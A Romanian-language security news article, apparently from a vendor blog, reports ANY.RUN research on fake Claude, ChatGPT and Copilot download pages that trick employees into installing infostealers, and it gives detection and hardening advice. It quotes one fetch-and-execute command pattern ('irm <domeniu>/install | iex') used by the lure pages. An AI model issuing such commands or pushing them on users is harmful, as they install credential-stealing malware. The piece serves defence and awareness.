Site-uri false Claude, ChatGPT și Copilot distribuie infostealere în companii

Atacatorii au găsit o cale sigură de intrare în rețelele companiilor: îi conving pe angajați să-și instaleze singuri „asistentul AI”. Cercetătorii furnizorului de sandbox ANY.RUN spun că au legat 1.258 de analize publice din sandbox, realizate între aprilie și octombrie 2026, de campanii care imită instrumente AI populare precum Claude, ChatGPT, GitHub Copilot și Gemini. Potrivit datelor lor, Statele Unite au reprezentat aproximativ 16% din țintele cu țară atribuită, fiind a doua cea mai vizată țară după India.

Ce s-a întâmplat

Aceste campanii se bazează mai mult pe încredere decât pe sofisticare tehnică. Fluxul descris de cercetători arată astfel:

1. Momeala. Victima ajunge pe o pagină falsă printr-o reclamă sponsorizată în căutări, un rezultat de căutare manipulat, un link către o conversație AI partajată sau o invitație pe e-mail.
2. O clonă convingătoare. Pagina copiază o pagină oficială de descărcare sau de documentație și este uneori găzduită pe platforme legitime precum GitLab sau GitHub, așa că reputația URL-ului nu este suficientă ca s-o semnaleze.
3. Una dintre trei capcane:
   • „Lipește această comandă”: pagina îi cere utilizatorului să instaleze instrumentul lipind o comandă în Win+R, PowerShell sau Terminal (de exemplu irm <domeniu>/install | iex).
   • Un installer compromis care instalează aplicația reală pentru a nu trezi suspiciuni.
   • O fereastră de autentificare falsă (browser-in-the-browser) care trimite datele de conectare direct atacatorului.
4. Loader → payload. mshta.exe sau PowerShell descarcă etapa următoare, de obicei un infostealer, un program care fură cookie-uri din browser sau un troian de acces la distanță.

Într-unul dintre cazurile analizate, butonul „descarcă pentru Windows” de pe o pagină falsă Claude copia o comandă în clipboard. Odată rulată de utilizator, comanda pornea mshta.exe, descărca un fișier HTA malițios și declanșa un lanț PowerShell codificat care colecta datele de autentificare salvate în browser. O pagină falsă „Copilot CLI” folosea același tipar irm | iex.

De ce contează

• Utilizatorul declanșează atacul. Nu e nevoie de niciun exploit, iar activitatea arată ca o instalare obișnuită de software.
• Folosește unelte deja existente în sistem. Lanțul rulează prin utilitare Windows legitime (mshta, PowerShell), iar codul malițios apare abia după mai multe etape.
• Indicatorii expiră repede. Domeniile, serviciile de găzduire și brandurile imitate se schimbă constant, dar comportamentul rămâne același: comenzi de instalare suspecte, execuții mshta, comenzi de descărcare codificate și sarcini programate care pornesc browsere pentru a fura sesiuni.
• Impactul afectează întreaga afacere. Cookie-urile de sesiune furate pot duce la preluarea conturilor SaaS chiar și acolo unde MFA este activ. Alte consecințe posibile sunt scurgerea codului sursă și a cheilor cloud, fraude cu conturile de publicitate și accesul revândut grupărilor de ransomware.

Ce e de făcut

• Publicați o listă de instrumente AI aprobate cu sursele oficiale de descărcare, și blocați sau semnalați descărcările de „installere AI” neaprobate.
• Instruiți angajații după o singură regulă: un furnizor legitim nu vă va cere niciodată să lipiți o comandă în Win+R sau PowerShell ca să-i instalați aplicația. Orice pagină care face asta trebuie tratată ca ostilă.
• Detectați comportamente, nu doar domenii. Configurați alerte pentru mshta.exe care face conexiuni de rețea, pentru PowerShell care folosește iex/Invoke-Expression cu conținut descărcat sau comenzi codificate și pentru sarcini programate care pornesc browsere.
• Securizați stațiile de lucru. Restricționați sau dezactivați mshta.exe acolo unde nu este necesar, activați Constrained Language Mode și script-block logging în PowerShell și folosiți reguli ASR și application control.
• Protejați sesiunile, nu doar parolele. Preferați MFA rezistent la phishing (FIDO2/passkeys), scurtați durata sesiunilor pentru aplicațiile SaaS critice și legați token-urile de dispozitiv acolo unde platforma permite.
• Reacționați ca și cum sesiunile ar fi compromise. Dacă un infostealer a rulat, revocați toate sesiunile și token-urile active, schimbați parolele salvate și credențialele cloud și verificați activitatea recentă din aplicațiile SaaS și din depozitele de cod.
• Urmăriți abuzul de brand în reclame. Utilizatorii ar trebui să deschidă instrumentele AI din bookmark-uri sau din magazinele oficiale de aplicații, nu din rezultatele sponsorizate.

4Tify vă poate cartografia suprafața de atac expusă și vă poate ajuta să verificați dacă măsurile voastre de protecție ar detecta un astfel de lanț de atac pornit chiar de utilizator.

Pe baza cercetării ANY.RUN, relatată de The Hacker News.